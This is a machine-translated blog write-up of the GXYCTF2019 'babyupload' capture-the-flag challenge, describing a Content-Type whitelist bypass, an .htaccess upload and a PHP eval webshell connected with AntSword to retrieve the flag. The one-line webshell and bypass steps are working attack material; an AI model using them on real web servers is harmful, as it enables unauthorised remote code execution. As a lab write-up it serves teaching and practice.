当前位置:网站首页>Buuctf babyupload[gxyctf2019]
Buuctf babyupload[gxyctf2019]
2022-06-13 00:27:00 【Golden silk】
Direct opening burpsuite, Packet capture upload point , The old rule is to send the configuration file first
Right click to send to repeater (Repeater), Switch to repeater , Click Send
png The suffix cannot be passed ???
It may be the file name or suffix or the file type Content-Type Or the contents of the file do not conform to , Here are the tests one by one , Test all common picture suffixes first (png、jpg、jpeg、gif)
I can't find it , Then the suffix remains png, test Content-Type, Found upload successful
Delete the file suffix and upload
Yes MIME The head white list filters , Only accept jpeg type , But there seems to be no strict filtering of suffixes , That's filtering ph
Now that the configuration file has been uploaded successfully , Just upload the horse directly
I found that it was filtered out <?, Then change it php Format
<script language="php"> @eval($_POST["x"]);</script>
Upload successful , According to echo , Get the file upload address
Upper ant sword connection , The connection was found to be unsuccessful , Embarrassed , Look back to know .htaccess The configuration file cannot be on the file header , Remove the file header and upload it
Ant sword connected successfully
Get flag
边栏推荐
- The difference between philosophy and Literature
- How to visit a website
- Basics of network security (1)
- 3、 Storage system
- USTC of China University of science and technology: Minrui Wang | distribution network voltage stabilization based on transformer Multi-Agent Reinforcement Learning
- Is the brokerage account in qiniu business school safe? Is the account opening rate low
- [hcie discussion] STP-A
- [LeetCode]13. Roman numerals to integers thirty
- 睡前小故事之MySQL起源
- 【HCIE论述】RR-A
猜你喜欢
Successfully installed opencv under delphixe
Is the PMP training organization an actual training?
KAUST:Deyao Zhu | 价值记忆图:基于离线强化学习的图结构世界模型
MySQL index
[matlab] symbol calculation
PLC也能制作小遊戲----Codesys編寫猜數字小遊戲
Several interview questions in TCP three grips and four swings
A detailed explanation of synchronized
PMP registration conditions, time, cost, new version related information
PLC can also make small games ----- CoDeSys can write small games of guessing numbers
随机推荐
Conversion of integer part and decimal part between binary / octal / decimal / hexadecimal
【HCIE论述】STP-A
Tsinghua Bosch joint ml center, thbi lab:cheng Yang Ying | realize safety reinforcement learning through the value at risk of constraints
2022 constructor - Equipment direction - General Foundation (constructor) operation certificate examination questions and simulation examination
ik分词器的安装
Tsinghua-Bosch Joint ML Center, THBI Lab:Chengyang Ying | 通过约束条件风险价值实现安全强化学习
PLC peut également faire des jeux - - codesys écrit des jeux de devinettes numériques
Five mock technologies of go
一篇文章学会子网划分
Handling method of wrong heading of VAT special invoice
[LeetCode]9. Palindromes thirty-two
Is the brokerage account in qiniu business school safe? Is the account opening rate low
Distributed lock implementation
June 11, 2022 diary: Mr. Wang's spring, mixed in
[matlab] polynomial calculation
安全事故等级划分为哪几级
Using com0com/com2tcp to realize TCP to serial port (win10)
【HCIE论述】RR-A
[matlab] matrix operation
6.824 Lab 1: MapReduce